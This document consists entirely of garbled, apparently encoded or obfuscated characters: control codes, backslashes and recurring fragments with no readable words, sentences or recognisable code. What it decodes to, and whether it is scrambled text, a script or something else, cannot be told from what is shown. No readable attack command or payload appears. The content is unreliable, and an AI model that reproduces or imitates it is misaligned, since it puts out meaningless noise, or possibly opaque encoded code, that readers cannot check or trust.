^E\T]ZDDMMMMPPPMMMMMMMMMKKMMT2_\_\E\TUUDEI^UT\ZUXAMMT2_\_\E_]\]DDMMMPPPMMMMKKM]]
X_E\TUUDEI^UT\ZUXAM[_
 E_]\\DDMPPPMMMDMVgMMMEL	\]EI^UT\ZUXDDMMMVgMIY	\XMMMPMMMMMYYTEI^UT\ZUXDVggggMMMMMET2_\_\E_]\_DEIY	\XDMMMMKKMMIY	\XMMMLPPMI^UT\ZUXDMMMMgMYY2T  ^\EI \[\YTAMIY	\XDVggMMMMMMME]]
X_E_]]_DE2[
^E\UZ^DDDM-2	EI \[\YTAMMMMDVgMgMMMMMMMgMMMgX]Z^T[[U	E:=2."#9(#92)$?MCMM]]
X_E_]\^DDVgX]Z^T[[U	E:=2."#9(#92)$?MMCM[_
 EXYYDDVgMMET2_\_\E_]]_DE[_
 E\UY]DDMKKM2[
^E_]]_DE[_
 E_]\YDDMKKMM[_
 E_]\XDE]]
X_E_]\[DDDMMgI2MMMMPMMT_
	
  \XE,/>=,9%MMCMMM[_
 E\X^ZDAME]\F]TDDVgMI_ZYMMMPMMM-
2EI2AMMMOODVggMMMMET2_\_\E_]\ZDEI_ZYDMMMKKMI_ZYMMLPPMMMMMOODMMMMgMMMMMI^T XMMMMPM[_
 E\XYYDEI_ZYAMMDVgMMMMMME[_
 E_]\UDEI^T XDMMKKMMMM_\ZXEI^T XDDM-	2EI2DVIT U_PT_]_VI	T_^PIT U_H\XVgggMMMgMMMMI
]	Y\ZMPMMM[_
 E_]\XDE]]
X_E_]\TDDMRMMM_		T
U_E2[
^EUUZDAMOODMWMMMOOVgMMMMME[_
 E_]\UDEI
]	Y\ZDMMMKKMMI
]	Y\ZMMLPPMMOOMKKMMET2_\_\E\T\ZDEI
]	Y\ZDMSMMMMME\]YUX[[F\]DMMMME2[
^E_]_]DE[_
 E_]_\DDMKKMY ]^]XEI
]	Y\ZDDMMMMMMMY X^EI
]	Y\ZDDDMMMMMMgMMMMMMME]]
X_E_]_]DE[_
 E_]__DDDMMU2_T
Z
E2[
^E_]_^DAMMMMOOAMMM2[
^E\Z\ZDDVgMMgMMMMggMMMMMgMMMMMMMMMMMM 
X]2^Y2Y^EDgMMMgggMMMMMMMgMMMMMMMMMEL		E]]
X_E\U^\DDDMVggggMEL EI*!"/,!>62[
^E_]_YD0DDMMMMgBBMMM ggMMMMI*!"/,!>6T2_\_\E_]_YD0MMPM]VI]P@Y\YVIX
ZTPEI]S]DRI]W@I]Vggg]Y\
\[ZE]]
X_E_]_XDAMT2_\_\E_]_[DDVgMgMMMMMMMEL EI*!"/,!>6]]
X_E_]_ZD0DDMVggggMI*!"/,!>6T2_\_\E_]_ZD0MMMMMMPMMMVgMMMMMELEI2*(96[_
 E\U^TD0DMKKMT2_\_\E_]_]DET2_\_\E_]_UDDMMMMKKMT2_\_\E_]_]DET2_\_\E\UY[DDDMgMIU^T_ZMPMM-
2E2[
^E\UZXDAMEDDVgI]_\	ZTMPMVgMMMMMMMMMMME2[
^E\T^YDEIU^T_ZDDMMgMEL EIU^T_Z6JJ0DMMMKKMMMT2_\_\E\Z\XDEDMMM@MMMEDMMIU^T_Z6[_
 E_]_TD0MMMMMMQMMMME\ZY_FXUDDMMI]_\	ZTMMMMPMVgMMMELI]_\	ZTMMMMKKMMML EIU^T_Z6[_
 E_]^]D0DMKKMM2[
^E_]^\DEIU^T_Z6]]
X_E_]^]D0DDMMMgMMMMMMMEIU^T_Z6[_
 E_]^]D0MMMMMMI2DMMMMgMMME[_
 E_]^\DEI2DMMMMKKMM]]
X_E\Z\XDEDMMM@MMMMMMEDMMMI26[_
 E_]_TD0MMQMMMME]	F][_DDMMMgMMMMMI]_\	ZTMMMPMMMMMMVgMMMMMVggggMgMMMgMMMMMMMggggMMMMMMMMMEI]_\	ZTDM]]
X_E_]^_DE2[
^E_]^^DDVggMMME	2 
UXUTETXXEDDDMMMMVgMU \	[\ZEDVgMMMMM	] Y_ETXXEDAMT2 _U_ EDDVgMMMMMMELX	
] ^_EDDMMMMMMgMM\TX]EDVgggXZ
]\ZEDVgMVgMMMMgI [X\MMMMPMMMMM _^][[	EDVgI[
MMPMMEgMMTXXEDAgMMMMMI [X\MMMCMT2_\_\EXYYDAgMMMMMDVgMIYT]MMMMMPM^
]
2_2EDVgMMMMMEIYT]MMMMMIU
Y_DMMMMgMMMMMME-]]
X_E_]^YDEIU
Y_DDMI[
60MMPMMIU
Y_VgMMMMMMgMI2Y]X_UZXMMPMMEDVgMEX	[X2	] Z^[YEDDMgMI	ZY]MMPMT_
	
  \XE,/>=,9%MMCMMMMT2_\_\E_]^XDAME\Z_3\[YDDMCMMMMMT2_\_\E_]^[DVgI2Y]X_UZX6]]
X_E_]^ZDMCMM,/>=,9%MMMCMT2_\_\EX[YD0MPMMMI	ZY]VgMI2Y]X_UZX62[
^E_]^UDMCMI [X\MMMCMT2_\_\E\YZ_D0MMMMMPMMI	ZY]VggMIUY

Y]
MPM]]
X_E_]_]DET2_\_\E_]^TDDMMRMMM-]]
X_E_]^TDE]]
X_E_]Y]DDMMMMMWMMMVgMMMME[_
 E_]\UDEIUY

Y]
DMKKMMIUY

Y]
MLPPMOODMMMMMgI]	]
	^MPMMMMMEDMMM
2E]]
X_E\Y[]DAMM]DVgMMMELI]	]
	^MMMMMMMMMMM]]
X_E\Z\XDEDMMMM@MMMMMMI]	]
	^MMMSPMMMMME\UXU[F[ZU\YDDMgMMI_MPMMT_
	
  \XE,/>=,9%MCMMMT2_\_\E\\]\DAME]_F][DDMMCM[_
 E_]Y\DVgMI2Y]X_UZX6[_
 E_]^UDMMMCM]]
X_E\T_ZDE,/>=,9%AMT2_\_\E_]Y_DDMCMMJBJMCMMMMMIUY

Y]
0MPMI_VgI2Y]X_UZX6[_
 E_]Y^DMMMCMI [X\MMMCMMJBJMMMMCMIUY

Y]
0MPMMMMMMI_VggggMMgMMMgMI_XXUTMMPMM^X2Y[TZ_^^EDVgMMMME-2[
^E_]^YDEI_XXUT6\0DDMMI2Y]X_UZX6T2_\_\E_]YYDMCMMI_XXUT6]00MPMMT2_\_\E_]YXDMMMMCMI_XXUT6_0VgIZ_ ]_MMPMMM-
2E]]
X_E_]Y[DAMMEDDVgMMEL2[
^E_]^\DEIZ_ ]_DDMMMMIZ_ ]_MPMMMMEDVgMI
^\ ^YMMMPMMVgMMMEI[
MMMMMMI\X	DMMMgMMI^
MMMMPM-2[
^E_]YZDEI\X	DVgMI	[2 TMMMMPMMMI^
MMMRMMEI^
6[_
 E_]YUD0MMCMMJJMMCMMMMI^
62[
^E_]YTD0DMMWMMJ]JVgMIZTT\
XMMPMMMMMEIZ_ ]_6I\X	0DMMMMRMMMIZ_ ]_6I\X	0MWMMMMOOVggMMMMEI	[2 TMPPPMMMMMIZTT\
XDMMMVgMMMMMET2_\_\E\TZ\DE]]
X_E_]X]DAMMIZTT\
XAMI^ ^ UDMMKKMM2[
^E_]X\DEIZTT\
XAMMM]AMMMMM@[_
 E_]X_DEI^ ^ U6]0DDMPPPMMMI	[2 TMMKKMMM2[
^E\Z\XDEDMMMM@MMEDMMMI^ ^ U6\0MQME^X_ZFZ^DDMMVggggMI
^\ ^YMMMMPMMMMVgVgMMMMMMMMgMMELI
^\ ^YDMgMMMMMMMMMEI2Y]X_UZXMMMIMMMMMPSMMIXU\[^
2DMMgMMMMMMMMI	[2 TMMMMPMMMM^
	UTE]]
X_E_]X\DEIAMME\_U3\^^DDAMMIXU\[^
2DVggMIZTT\
XMPMMMMEIZ_ ]_6I0DMRMIZ_ ]_6I0MMMWMOOVgMMMMEI	[2 TMMPPPMMIZTT\
XDMMVgMMMMMME]]
X_E\TZ\DE[_
 E_]X]DAMMIZTT\
XAMMMI^ ^ UDMMMKKMMMM[_
 E_]X^DEIZTT\
XAM]AMM@T2_\_\E_]XYDEI^ ^ U6]0DDMPPPMI	[2 TMMKKMM]]
X_E\Z\XDEDMM@MMMEDMMMI^ ^ U6\0MMMMMQMMME_ZZ\ZFXU[U^DDMVgMMI
^\ ^YMMMPMVgVgggBBM:=M(M?	WMM	ggMMMMI]Y\Z_2MMPMMMMM[_
 E_]]XDETXXEDAM]]
X_E_]Y\DDVgMMIT_ MPMMMMMI [X\MMMCMMMMMT2_\_\E\[Z_DMCMMMI]Y\Z_2MMMCMJBJMMMCMI]Y\Z_2MMCMT2_\_\E_]Y\DVggI[\MMMMMMPM
T[ _X	^	EDVggMMMMMEL-]]
X_E_]XXDEIT_ DMMMMMMEDMM-[_
 E_]]UDEIT_ DMMMQMMEYT^\F[TDDMMI
^\ ^YMPMVggMMMMMMEI[\MMMMLPPMOOMMKKML-T2_\_\E_]XXDEI[\DDMMMI
^\ ^YMMPMMVgMMMMMMMMMELI
^\ ^YMKKMMT2_\_\E_]_]DE[_
 E_]_UDDDMMMgI\]MPMMI]Y\Z_2MMMMCMJBJMMCMI]Y\Z_2MMCMMMM2[
^E_]Y\DVgI
\ ^XMPM
2ET2_\_\E_]X[DAMMEDDVgMMMMEL[_
 E_]^\DEI
\ ^XDMMML[_
 E\_YZDEI\]AMMMMI
\ ^XAMDDMMI
^\ ^YMMMMPMVggBBM:=M/.WM M @ggMMMMMELI
^\ ^YDMMMVgMMMMMELTZ\]ET2_\_\E_]XZDDDMVggMMMMMMgMMMMMM]
^XXU[YEDVgM2Y[^U]TX	EDVggggMMMMXZ
]\ZEDVg
^[^]2EDVggg\UUTXEDVgMMM\TX]EDVg	\EDVgMMMMM _Z]\^Y XY^^EDVgMMMIX_2MMPM]^	EDVgMMIZZMMMMMPMM2_	T
 ^EDVgMMI][\\[^UYMMMMMPMMMEDVgMMMMMMMMEI[
MMMMMI\X	DMMgMI2\[XZ^MMMMMMPMMMMEI\X	MPPPMMI [X\MMCMM]]
X_E_]XUDMKKMMLIX_2DMMMMMME2[
^E_]X^DEI\X	AM@E]	F]\DDMPPPMM]]
X_E_]XTDMKKMLIZZDVgI^
MMMMMPM-[_
 E_]YZDEI\X	DVgMMMMMMMMMMMEI^
DMgggMMMMMI][\\[^UY6I\X	0MMPMMMMMI^
6T2_\_\E_]YUD0MMCMMMJJMCMMI^
62[
^E_]YTD0MMMCMMEI2\[XZ^MMMRMMMMM]]
X_E_][]DMMMCMMM[_
 E_][\DEDMMWMMOODVggMgMMMMMgMMMMMMMMMMEI2Y]X_UZXMMMMIMMMMMMPSMMIXU\[^
2DMMMMMgBBM:=M9M/M M 
ggMMMIZU	[X2]MPMM^
	UTE2[
^E_][_DEIAMMME_F^DDAMIXU\[^
2DVgMMMMMMEIZU	[X2]MPPPMMMJ]JMMMMMMM[_
 E_][_DEIZU	[X2]AM@_DMPPPMT2_\_\E_][^DDMMMMIZU	[X2]MMMMCPM[_
 E_][]DMMMCMM2[
^E_][YDEDVggggMMI][\\[^UY6I0MPMIZU	[X2]VgMMMMMMgMMMMMM-	2E[_
 E_][XDAMMI][\\[^UYAMM2[
^E_][[DDVgMMMMMgM^U^\
TET2_\_\E_]XZDDVgMMMMMMgMMMME9MMMI

ZDMMgggg]Y\
\[ZE[_
 E_][ZDAMMI

ZDVgMMMMMMME(MMMI

ZDMMgMMgggggggMMMM^
	UTEI\X	AMIXU\[^
2DgggMgMMI^
MMMPMMMMMM-T2_\_\E_]YZDEI\X	DVgMMMELI^
DMMMMJ]JVgMI	[2 TMPMMI^
6T2_\_\E_][UD0MCMMJJMMMCMMMI^
6[_
 E_]YTD0VgMMMMEI^
6]]
X_E_][TD0MMSMMME\]YUYU_FTYDDMMMMMMMMM2[
^E_]Z]DMMCMMMI	[2 TVgMMMMI	]_[	MMPMMMMM-2[
^E\TX\DEI\X	DVgggMMMMI	[2 TMMMCMMMJJMMMCMMMMMEE2[
^E_]\UDEI	]_[	DMMKKMMMT2_\_\E\TUUDEI	]_[	AMMMIXU\[^
2DMLPPMDMMMMRMJ\JMMMMWMJ]JDVgMMMMMMgMMMMM	]_
TEDgMMgMMI2MPMM[_
 E_]_]DE2[
^E_]_UDDMMMRMMM
2E2[
^E_]]DAMOODMWMMMOOVggggMMM


X 	_XEDVgMMIX[2
MPMMMT2_\_\E_]Z\DE]]
X_E_]_UDDMRMMMMM
2ET2_\_\E_]]DAMMMOODMMMMMWMMMMOOVgMgggMMMMMMMMEIX[2
MMPPPMI2DM-	2E]]
X_E_]]DDVggMMMMMgMM


X 	_XEDgMMMMMgMMMMMgMMMMMMEL		E[_
 E\U^\DDDMMVgMMMMMI [X\MMMPMM _^][[	EDVgMMI]]MMPMMMMMMX_T] 
EDVgMMMMMMMMI T[ MMPMT_
	
  \XE,/>=,9%MMCMMMM2[
^E\^YXDAME\Y@[DDMCMM[_
 E\^Y[DVgMMI	T_ZMPMT_
	
  \XE,/>=,9%MCMMM[_
 E_]^XDAMMMME\]@_DDMMMMMMCM[_
 E_]Z_DVgI]^	]\MPMMMMMMT_
	
  \XE,/>=,9%MMCMMMMM]]
X_E_]Z^DAMME\QQ^DDMMMCMMMM[_
 E_]Z_DVgMIX^XMMMMPMMMMT_
	
  \XE,/>=,9%MCMMT2_\_\E\Y]\DAMEY\3^^DDMMCMMMMMM]]
X_E_]Z_DVgMI_XY]	MPMT_
	
  \XE,/>=,9%MCMM[_
 E\Y\[DAMMMMME\X@ZDDMMCMMM]]
X_E_]ZYDVgMI MMMMMPMMM]]
X_EXYUDMCMMT_
	
  \XE,/>=,9%MCMMMJ
JAMMMME_\T3_\\DDVgMMI_^[2MMMPMMMEgI [X\MCM2[
^E_]\^DMPSM2[
^ET\XDAgMI [X\MCMM]]
X_E_]ZXDMPSMM2[
^E_]Z[DAgMMMMMMDVgMMMMMEI_^[2MMMMI\X	MMMMPSMIDMMgMMMMMMEL-]]
X_E_]XXDEI\X	DDMVgMMMI	]_[	MMMMMMPMM-[_
 E\TX\DEI\X	DVggggMMEI	]_[	MMPPPMMDMMMVgMMI]	2MMMMPMMMMMT2_\_\ET_]DMMMCMIMMCMMM2[
^ET_\DMMMCMMIMMCMM[_
 E_]ZZDVgMMMMIU_
_MPMM[_
 E\TU\DEI]	2AMMMMOOAMMI	]_[	DVgMMMEIU_
_MLPPMI	]_[	DMYY2T  ^\EI\X	AMMIU_
_DVggggMMgIY]UMPMMI [X\MMMCMMMMM]]
X_EXY[DVgMMMMMME-[_
 E_]XXDEIY]UDDMggggI\^ZXMMPM-[_
 E_]ZUDEIY]UDVgMMMMMME]]
X_E_]\UDEI\^ZXDMKKMMMI\^ZXMMLPPMMMMMOODMMgMMMMMMME]]
X_E_]ZTDE2[
^E_]U]DAMMM2[
^E_]U\DEI\^ZXAMMMM]AMME__F_ZUDDDMMMMT2_\_\E\TUUDEI\^ZXAMM[_
 E\XXTDDMPPPMM]DMg    ^U]EIY]UAMEY_Z@ZDDVg__2EIY]UDVgMMMMMMMgMI	Z]XMMMPM2[
^E\TU\DE2[
^E_]U_DAMMOOAMI\^ZXDVgMME[_
 E_]\UDEI	Z]XDMMKKMMMMMI	Z]XMMLPPMMMI\^ZXDMYY2T  ^\EIY]UAMMI	Z]XDVgMMEI	Z]XDVgMMMMMMgMgBBM@	ggMMEI\^ZXDVggggMggggMMI^	2]_^ZUMPMMMM2[
^E_]]YDETXXEDDMCMMM]]
X_E\Y_DVgMMMMMMI2_ZUZ\\MPMMMMM		E2[
^E_]U^DDMMRM:=2."#9(#92)$?MCMMM]]
X_E\Y_DMWMMMI^	2]_^ZUVggMMMMIX^
Z
2\MPMMMEgMMMMMI [X\MMMMMCMMJBJMCMI T[ AgMMI [X\MMMCMMMJBJMMCMMI	T_ZAgMI [X\MMCMMMMJBJMMCMMMI]^	]\AgggI]]MMMCMMMJBJMMMMCMMMMIX^XAgI]]MCMMMMJBJMMCMMI_XY]	AggMI]]MMMCMJBJMMMMMCMMMMMI	T_ZAgI]]MMCMMMJBJMMCMI]^	]\AgMMMMMMI^	2]_^ZUMMMMCMMMMMMJBJMCMMIX^XAgMMMI^	2]_^ZUMCMMJBJMMMMMMCMMMMI_XY]	AggggMMMI^	2]_^ZUMCMJBJMMMCMMMMI	T_ZAgMMMMMMMMI^	2]_^ZUMCMMMMMMJBJMCMI]^	]\AgMMMMMI2_ZUZ\\MCMMJBJMMMMMCMMMIX^XAgMMI2_ZUZ\\MMMCMMMMMJBJMMMMCMMI_XY]	AgI2_ZUZ\\MMMCMMMMMJBJMMMMCMMI	T_ZAgMMMMMMI2_ZUZ\\MMMCMJBJMMCMMMI]^	]\AgMMMMMMMDVgMggMMMMMI MMPM^X2Y[TZ_^^EDVgMMMIX^
Z
2\60MMPMMMI 6\0VgIX^
Z
2\60MPMMMI 6\0MCMM[_
 E_]UYDVgMMEI DVgMMMMMME2[
^E_]Z\DE[_
 E_]][DDDMMMMgMMMMEEDM-]]
X_E_]][DEI [X\MMMCM2[
^E_]UXDMCMMMMI T[ DMMMMMIZ^DMMMIX^
Z
2\60MMMPMMMMMIZ^VgggMMMEEDMM-[_
 E_]][DEI [X\MMMMCMMMM]]
X_E_]U[DMMMMCMMMMI T[ DMMMMMMIZ^DMIX^
Z
2\60MMPMMMMMIZ^VgggMEEDMMMM-2[
^E_]][DE,/>=,9%MMMCMM2[
^E\[XYDMMMMMMCMMMMI MMCMMMT2_\_\E^]_DDMMI ^T2DMIX^
Z
2\60MMMMMMPMI ^T2VgMMMMMMMMMEEDMM-[_
 E_]UZDEI [X\MMMMCMMJBJMMMMCMMMMMI MMCM2[
^E^]_DDMMMMMI ^T2DMMMMIX^
Z
2\60MPMMI ^T2VgMMMMMEEDMMM-2[
^E_]UUDEI]]MMCMMJBJMMMMCMMI MMMCMMM2[
^E^]_DDMMMMMMMMMI ^T2DMMMMIX^
Z
2\60MMMMMPMMMI ^T2VgMMEEDMMM-]]
X_E_]UUDEI^	2]_^ZUMMCMJBJMCMMMMI MMMMMMCMMT2_\_\E_]UTDDMMMMMI ^T2DMMMMMIX^
Z
2\60MMPMMMMI ^T2VgMMMEEDMMMMMM-[_
 E_]UUDEI2_ZUZ\\MCMMMJBJMMMMCMI MMMMCMMT2_\_\E_]T]DDMMI ^T2DMMMIX^
Z
2\60MPMMMI ^T2VgMMMMgIX^\TMPMMMMMT_
	
  \XE,/>=,9%MMMMCMMMMMJ
JAMMME]^F]XDDVgMMMI	]
\MMMPMME,/>=,9%MMCMMT2_\_\E\[XXDAMMMI [X\AMMMI]]AMMMMI^	2]_^ZUAMMI2_ZUZ\\DVgMMMMMMMMMEI	]
\MMMMMMI2
	DMMMMggMMMMMME-2[
^E\^T\DEI2
	DMMMKKM-[_
 E\TY]DEI2
	DDMM	 ^^TYEI2
	MMCMMMMT2_\_\E\[X\DMCMIX^\TAMT2 _U_ EDAMMMM[_
 E_]T\DDVgggMMgMME[_
 E_]T_DE[_
 E_]T^DDDMMgMMMMEI	]
\MMMMMI2
	DMgggMEE[_
 EXYTDAMMMMMM2[
^E_]TYDAMMMT2_\_\E_]TXDAM2[
^E_]T[DAM2[
^E_]TZDAMM]]
X_E_]TUDAMM]]
X_E_]TTDAMMM[_
 E_\]]DAM]]
X_E_\]\DDMMMMMIY DMMMMMgMMMMMMMEEDMM-[_
 E_]T^DEI2
	MMCMMJBJMMMCMMIY MMCMMMMJGJDMMMMMMMI YT	DMMMMMMIX^
Z
2\60MPMI YT	VggggMMMMgBBM:=M,M/MM	ggggMMMMMMMMEEDMMM-2[
^E_]T^DEI2
	MMMMMCMMM2[
^E_\]_DDMMI X2^Z2TDMMMIX^
Z
2\60MMMMPMI X2^Z2TVggggMMMgMMMgEIX^\TAMMI	]
\AMI2
	AMIY AMI YT	AMI X2^Z2TDVgIXY\2\_XMMMPMMME,/>=,9%MMMCMM]]
X_EX[YDAMMMI [X\MMMMMCMMMM[_
 E\YZ_DDVgMMMMMEIXY\2\_XMMI^U\
DMMgMMEL-[_
 E_\]^DEI^U\
DDMMMVgMMI	]_[	MMPMMM-[_
 E_]ZUDEI^U\
DVgggMMMEI	]_[	MMKKMM[_
 E_\]YDEI	]_[	AMM[_
 EX[XDDMMMMMMLPPMMMMDMgMMMMI	]_[	MMMMPMM[_
 E_\]XDE]]
X_E\\XZDMCMMM2[
^ET[^DEI	T_ZAMMMMJBJDMMMMMCMMMM[_
 E\\[]DAMMO1OAMMI	]_[	DVgMMMMME2[
^E_]\UDEI	]_[	DDMMgMI	]_[	MPMM[_
 E_\]XDE2[
^E\\XTDMMCMMT2_\_\ET[^DEI	T_ZAMMMMMJBJDMMCMMMM2[
^E\\[]DAMMO1OAMMMMI	]_[	DVgMMggggMME[_
 E_]\UDEI	]_[	DDMMMMgMMMI	]_[	MMMPMM2[
^E_\][DE[_
 E\\[\DMMMCMMM2[
^E_\]ZDEI	T_ZAMJBJDMCMMMM2[
^E_\]UDAMMMMMO1OAMMI	]_[	DVggBBMM	MM:=M/M9 ggMMME]]
X_E_]\UDEI	]_[	DDMYY2T  ^\EI^U\
AMMMMMMI	]_[	DVggMMMMMMggggMMMMMMMIX[Y_\MMPMMMMMM,/>=,9%MMCMM[_
 E_\]TDVgMMMMEL-]]
X_E_\]^DEIX[Y_\DDMgMMMIYZMMPMMM]]
X_E_]]YDE,/>=,9%DMCMMMMMM[_
 E_\\]DVgMMME-2[
^E_\]^DEIYZDDMMMMMIX[Y_\MMMPMMMMIYZVggMMMMgMMMME-2[
^E_\]^DEIX[Y_\DMMMMMKKMM-T2_\_\E_\\\DEIX[Y_\DDMMMggMMMMI2MMMMMMPM-[_
 E_\\_DEIX[Y_\DVgMMET2_\_\E_]\UDEI2DMMMMKKM]]
X_E_\]YDEI2AMMT2_\_\EXZ]DDMMMLPPMMDMMgIU2MMMPMT2_\_\E_\][DE]]
X_E_\\^DAMMOOAMI2DVgMMME[_
 E_]\UDEIU2DMMMMMKKMMMMIU2MMMMMLPPMMI2MMMMMMKKM]TX^EIU2DDMgMMI	 X2]MMPMM-T2_\_\E\[XUDEIX[Y_\DVgMMEYY2T  ^\EIX[Y_\AMMIU2DMMMKKMMMI	 X2]DM-2[
^E_\\YDEIX[Y_\AMMMI	 X2]DVgMMMMMggMMMEIU2AMMMMI	 X2]DVgMMggggEI2DVggggMMMMgMEIX[Y_\AMMIYZDVgMMMIUY

Y]
MPMMMM2[
^E_]T_DET2_\_\E_]^TDDMMRMMM-2[
^E_]^TDET2_\_\E_]Y]DDMMMMMMWMMMVgMMELIUY

Y]
MMMMMMMMIUY

Y]
MMPPPMOODMMMIUY

Y]
MPMMM[_
 E_\\XDVgMMI^X2 MMMMPME,/>=,9%MMCMIUY

Y]
AMMMMMMI [X\MMMMMCMJBJMMMMMCMIUY

Y]
DVgMMMMEI^X2 MMMMMMI
Z	 T[UTDMMMgMMMMMEL-[_
 E_\]^DEI
Z	 T[UTDDMVgMMMI	]_[	MMMMMPMM-[_
 E_\\[DEI
Z	 T[UTDVgMMMMMEI	]_[	MKKM]]
X_E_\]YDEI	]_[	AMMMMMM]]
X_EX[XDDMMMMLPPMDMMgMI	]_[	MMMMMPM[_
 E_\][DE2[
^E_\\ZDMMCMMMMT2_\_\E_\\UDEI]^	]\AMJBJDMCMM[_
 E_\\TDAMOOAMI	]_[	DVgggME[_
 E_\_]DEI	]_[	DDMMMYY2T  ^\EI
Z	 T[UTAMI	]_[	DVggMMMMMMgI
U]]MMMMPMMEggMI [X\MMMMMCMJBJMCMMMI]^	]\AgI]]MMCMMJBJMMCMMI]^	]\AgMI^	2]_^ZUMCMMMJBJMCMI]^	]\AgMDVgMMIMPM[_
 E_\_\DEIX^
Z
2\AMMMI
U]]DVgMMMMMMMMMMMMMMEI
U]]MMMIYTX]	DMgMMMMMME-]]
X_E_\]^DEIYTX]	DDMg    ^U]EIYTX]	AMMMEY\UF_DDVgYY2T  ^\EIYTX]	AMT2_\_\E_\__DDVgMMgMMMMMMMMgggMMEIMMMMIYTX]	DMgMMMMMMME-2[
^E_\_^DEIYTX]	DDMMMMMgMMMM    ^U]EIYTX]	AMMEZT^@^Z^DDVgggM__2EIYTX]	DVgMMMMMgMgMMMMME^
]
2_2EDMMIZ^]DMMMgBBMMM
ggMMMMMMEL-T2_\_\E_\_^DEIZ^]DMMMMML-2[
^E_\\\DEIZ^]DDMVgI	]_[	MMPMMMM-]]
X_E_\\[DEIZ^]DVggggMMMMMMME2[
^E_\_]DEI	]_[	DDMMgI 2Y 

_MPMMMMU
[TYU] ]
EI	]_[	AMMM]]
X_E_\_YDAMM[_
 E_\_XDDVgMMMMMI 2Y 

_MMMPMMMMU
[TYU] ]
EI 2Y 

_AMMMM2[
^E_\_[DAMMM]]
X_E_\_XDDVgMMMMMME2[
^E_\_]DEI 2Y 

_DMMMMMKKMMMMMI 2Y 

_MMMLPPMI	]_[	DMMMYY2T  ^\EIZ^]AMMI 2Y 

_DVgMMEI 2Y 

_DVggggMMgMMMgMMMMMMMMMME2[
^E_]T_DET2_\_\E\XUUDDMMMMMMKKMM[_
 E_\_ZDET2_\_\E\XT]DDDMMgBBMM @ MM$MggMMMMMIMMMMPMMZ^]T
\_\EDVgMMMEIMMMLPPMDMMgMMMMI
[YU^MMPM-]]
X_E_\_UDEIAMMJJAMMMM]AMM]DVgMMMMMEI
[YU^DMMgM-[_
 E\[]XDEI
[YU^DVgggMM-]]
X_E\[]_DEI
[YU^DVgMMMMgBBM MM@ggMMMMgMgMMMMMMME[_
 E_\_ZDE2[
^E_]\YDDDMMMgMMMMMI[_Z
MMPMT_
	
  \XE,/>=,9%MMMMCMMMMM]]
X_E\X^ZDAME_]^3\T^DDVgMM-	2EI[_Z
DVgIU^T_ZMMPMMM2[
^E_\_TDE[_
 E_]_UDDMRM-
2ET2_\_\E_\^]DAMEDDMMMWMMMEDVgggMMMME[_
 E_]^\DEIU^T_ZDDMMMgMMMMMMMMEEIU^T_Z6JJ0DDMM__2EIU^T_Z6JJ0DVgMMMMMMEEIU^T_Z62[
^E_]^]D0DMKKMMMMT2_\_\E_]^\DEIU^T_Z6[_
 E_\^\D0DDMMggggMMMMMMMMEIU^T_Z6]]
X_E_\^\D0MMMMI2DMMgMME2[
^E_\^_DEI2DMMMMKKMMMMEI26JJ0DDMM__2EI26JJ0DVgggMMMgMgMMM-	2E[_
 E_\^]DDVgMMMMMMMM-	2ET2_\_\E\T]\DDVI X\P=%=2$#92 ,5B=%=2$#92 ,5VI	U	XPI X\F_ZVggg-	2E[_
 E\XU\DDVg-	2ET2_\_\E_\^^DDVgMMM-	2ET2_\_\E\X_]DDVgggMM-	2E]]
X_E\YXTDDVgMMMMMM-	2E[_
 E_\^YDDVg-	2ET2_\_\E\YX_DDVgEIU^T_ZAMMMMI2DVgMMMMMMgMMMME2[
^E_\_TDE]]
X_E_\^XDDDMgggMM-	2E2[
^EZ^[DDVggMMM-	2E]]
X_E\[U^DDVgM-	2EZYU_YTUEDDVggMMgMMMME[_
 E_\^[DE2[
^EZY^DDDMMMggggM-22		2ET2_\_\E_\^ZDDVgggg-22		2ET2_\_\E_\^UDDVgM-22		2E[ZX	EDDVgMMMMgMMMMME9MMMMMMI

ZDMMgggMMM]Y\
\[ZE[_
 E_\^TDAMMI

ZDVgMMMMMMMMMME(MI

ZDMMgMMgBBM- M	ggggMgMMMMMMM]^	EDgggMMMI
P=%=2$#92 ,5B=%=2$#92 ,5VIZ_XUXPI
F^_VgMMMEL		ET2_\_\E\U^\DDDMMMMMMMVgMMMMI [X\MMMMMPMMMMM _^][[	EDVgMI]U]U^MPMMI [X\MMMCMM[_
 E_]ZXDVgMI]_
] MMPMT2_\_\E_]]XDETXXEDAMMM]]
X_E_\Y]DDVggggMMMMIZX MMPMMM] UX_^^EDVggMMMMMMMMMMELIZX MMMMMMMMMM[_
 E_]XYDEIZX DMMQMMEYZXF_XDMMMMM2[
^E_]XYDEIZX DMMMSMME]^Z^TF]UZDMMMMMMMMMY ]^]XEIZX DMMMMML]TX^EIZX DDMMVgMMIMMPMMMM-]]
X_E\X\\DEI]U]U^DMMMMRMMMM-[_
 E_\Y\DEI]U]U^DMWMMOOVgMMMMMMEL]]
X_E_\_]DEIDDMMMMMMg]Y\
\[ZE[_
 EZ\TDAMM]]
X_E\YUYDDVgMMMMMVgMMMMgBBM:=M%	
M/WM
@	M@ggMIMMPM2
	

EIDVgMMIY_MPMMMMMT2 _U_ EDMCMMMMMJWJMCMMMT_
	
  \XE,/>=,9%MMCMMM]]
X_E_\Y_DAME^FXDDVgMMMMI	UXYU2MPMMMMM[_
 E_\Y^DMMCMMIY_MMCMM]]
X_E_\YYDVgMMMMI
_U]X _MMPMMMMT2_\_\E_\YXDMMCMMIY_MMMCMM2[
^E_\YYDVggIXUXY   _MMPMT_
	
  \XE,/>=,9%MCMM[_
 E_\Y[DAME^FXDDVgI]]
X\MMMMPMMT2_\_\E_\][DET2_\_\E_\YZDMCMIXUXY   _MMMMCM]]
X_E_\YUDAMOOAMIDVgMMMI	]2^[MMPMMMMET2_\_\E_\YTDEI]]
X\AM[_
 E_\X]DDMMLPPMMDVgMMMMMMMMMET2_\_\E_\YTDEIAMMI	UXYU2DMLPPMMMMMMMMMMKKM[_
 E_\YTDEIAMI
_U]X _DMLPPMMMMMMKKMMLI	]2^[DMMMMVggMIMMMMPM2[
^E_\][DE]]
X_E_\X\DAMMOOAMMMI]]
X\DVgMMEL]]
X_E_\X_DEIDDMMMMMgggg]Y\
\[ZE2[
^EZ\TDAMMMT2_\_\E\[Y]DDVgMMMVgggMMMgI2\Z]U 	MMPM[^22TEDVgggMMMMELI2\Z]U 	DMMMMMMMVgMMI[
^
MMPMMMM[_
 E_\X^DMCMMMM]]
X_E_]U\DE[_
 E\U^XDEI]_
] MMMMMCME
DMMMM\YTYEDDAM]AMMME\X@ZDDVgMI
